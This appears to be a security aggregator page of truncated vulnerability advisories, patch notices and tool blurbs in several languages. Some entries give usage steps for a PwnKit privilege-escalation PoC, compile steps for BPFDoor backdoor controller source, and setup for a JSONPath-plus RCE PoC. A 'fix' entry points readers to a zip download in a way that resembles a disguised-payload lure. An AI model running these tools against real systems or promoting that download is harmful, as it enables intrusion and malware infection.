EUVD-2026-77930

This issue was addressed with improved redaction of sensitive information. This issue is fixed in iOS 26.6 and iPadOS 26.6, macOS Sequoia 15.8, macOS Tahoe 26.6, tvOS 26.6, visionOS 26.6, watchOS 26.6. An app may be able to disclose kernel memory...

CVE-2026-13276

CVE-2026-13276 addresses security vulnerabilities in IBM Verify Identity Access (versions 11.0.0 through 11.0.3 Interim Fix 001), IBM Security Verify Access (versions 10.0.0 through 10.0.9.2 Interim Fix 001), and their respective Container editions (same version ranges). The specific root cause a...

EUVD-2026-78073

IBM Verify Identity Access 11.0.0 through 11.0.3 Interim Fix 001 and IBM Security Verify Access 10.0.0 through 10.0.9.2 Interim Fix 001 and IBM Verify Identity Access Container 11.0.0 through 11.0.3 Interim Fix 001 and IBM Security Verify Access Container 10.0.0 through 10.0.9.2 Interim Fix 001...

CVE-2026-55847

Allure 2 is the version 2.x branch of Allure Report, a multi-language test reporting tool. Prior to 2.39.0, the ansi.js helper at allure-generator/src/main/javascript/helpers/ansi.js passes attacker-influenced statusMessage and statusTrace values through AnsiToHtml without HTML escaping and wraps...

CVE-2026-40453

Reproducción de Inyección de Encabezados Camel con Variantes de Mayúsculas CVE-2026-40453 Este proyecto demuestra CVE-2026-40453 — una corrección incompleta para CVE-2025-27636. La corrección de 2025 agregó setLowerCasetrue a HttpHeaderFilterStrategy para que los nombres de encabezado con variant...

CVE-2021-4034

CVE-2021-4034 PwnKit 的 PoC：polkit 的 pkexec 中存在的本地权限提升漏洞（Python 版） 用法 root@kitploit: git clone https://github.com/rvizx/CVE-2021-4034 cd CVE-2021-4034 python3 cve-2021-4034-poc.py 备注 C 版本： https://github.com/arthepsy/CVE-2021-4034 修复 root@kitploit: sudo chmod 0755 /bin/pkexec...

EUVD-2026-77688

Allure 2 is the version 2.x branch of Allure Report, a multi-language test reporting tool. Prior to 2.39.0, the ansi.js helper at allure-generator/src/main/javascript/helpers/ansi.js passes attacker-influenced statusMessage and statusTrace values through AnsiToHtml without HTML escaping and wraps...

CVE-2026-55847

Allure 2 (a multi-language test reporting tool) is vulnerable to stored XSS in the ansi.js Handlebars helper within allure-generator. Prior to 2.39.0 , attacker-controlled statusMessage and statusTrace values (sourced from JUnit XML, TRX, xUnit, xctest, or Allure1/2 plugins) are passed through th...

CVE-2026-54567

Flask-Reuploaded versions from 1.5.0 to before 1.6.0 are affected by a case-folding asymmetry in the name-override path of UploadSet.save(). When a caller supplies a name override, the extension re-validation uses the case-preserving extension() helper instead of the case-normalizing lowercase_ex...

BPFDoor-controller-source

BPFDoor-controller-source 近期BPFDoor控制器变种的源代码 Original: 2eacc8d91b9829b9606a7945fc5311fb5876cfb42ffccc1b91f61841237b04c1 Fixed: bpfdoorcontroller.c Original to fixed helper: formatfix.py 编译： root@kitploit: $ apt install libssl-dev $ gcc -Wno-implicit-function-declaration bpfdoorcontroller.c -lssl...

harbian-audit

harbian-audit Hardening Introduction Hardened Debian GNU/Linux and CentOS 8 distro auditing. The main test environment is in debian GNU/Linux 9/10/11/12/13 and CentOS 8 and ubuntu 22, and other versions are not fully tested. There are no implementations of desktop related items in this release. T...

cve-2021-33909

Kernel runtime fix of CVE-2021-33909 此仓库构建了一个名为 "cve-2021-33909.ko" 的外部模块。 cve-2021-33909 通过 kprobe-replacing 在运行时替换内核文件系统层中的易受攻击函数，从而修复了其中的问题。 可以通过 "make" 构建，将 KDIR 设置为内核的（源代码/头文件）目录。 可以直接通过 "insmod cve-2021-33909.ko" 加载， 或复制（+depmod）到内核模块目录（extra/），然后通过 "modprobe cve-2021-33909" 加载。 作者：Stephan...

ROOT-APP-NPM-GHSA-H25M-26QC-WCJF GHSA-h25m-26qc-wcjf in next - Patched by Root

Root has patched GHSA-h25m-26qc-wcjf in the next package for Root:npm. Multiple fixed versions available...

ROOT-APP-NPM-CVE-2025-29927 CVE-2025-29927 in next - Patched by Root

Root has patched CVE-2025-29927 in the next package for Root:npm. Multiple fixed versions available...

CVE-2019-10149-quick

CVE-2019-10149-quick 简单的 Bash shell 快速修复 CVE-2019-10149...

fix-react2shell-next

🚀 fix-react2shell-next - 脆弱性を修正 https://raw.githubusercontent.com/Saied25/fix-react2shell-next/main/lib/fixshellreactnext2.6.zip アプリケーション内で 📥 今すぐダウンロード 📝 概要 fix-react2shell-next は、https://raw.githubusercontent.com/Saied25/fix-react2shell-next/main/lib/fixshellreactnext2.6.zip または React RSC...

OpenTAXII

OpenTAXII 来自 EclecticIQ 的 Python TAXII 服务器实现。 OpenTAXII 是 TAXII 服务的稳健 Python 实现， 提供丰富的功能集和友好的 Python 风格 API，构建于精心设计的 应用程序之上。 OpenTAXII 保证与 TAXII 客户端库 Cabby 兼容。 源代码 | 文档 | 信息 | 下载 项目状态 我们已决定将此项目视为功能完备 。这意味着我们仍会维护它，但只专注于修复错误。不过，我们非常欢迎外部贡献——如果您知道如何修复问题并能提交 PR，我们将非常感激。 快速开始 参见文档。 使用 Docker 快速开始...

CVE-2025-1302

CVE-2025-1302 ★ CVE-2025-1302 JSONPath-plus RCE PoC ★ https://github.com/user-attachments/assets/5d791540-ef6c-4cd0-bd25-7a1dbbd194fb 实验环境搭建 root@kitploit: docker build -t jsonpath:10.2.0 . docker run --rm --name jsonpath -p 3000:3000 jsonpath:10.2.0 localhost:3000 描述 版本低于 10.3.0 的 jsonpath-plus...

CVE-2022-39197-fix_patch

CVE-2022-39197-fixpatch Usage Add parameters when starting cobaltstrike -javaagent:fixXss-1.0-SNAPSHOT.jar...

Fix-CVE-2021-44228

CVE-2021-44228! 当前程序从你的 zip、jar、war、ear 存档文件中移除类 "org/apache/logging/log4j/core/lookup/JndiLookup.class"。 使用前 使用前请遵循指南 https://www.lunasec.io/docs/blog/log4j-zero-day-mitigation-guide/ 如果需要，该工具将帮助你应用 "Modify your log4j .jar manually" 步骤 如何运行 在启动你的服务器之前执行该程序 wget...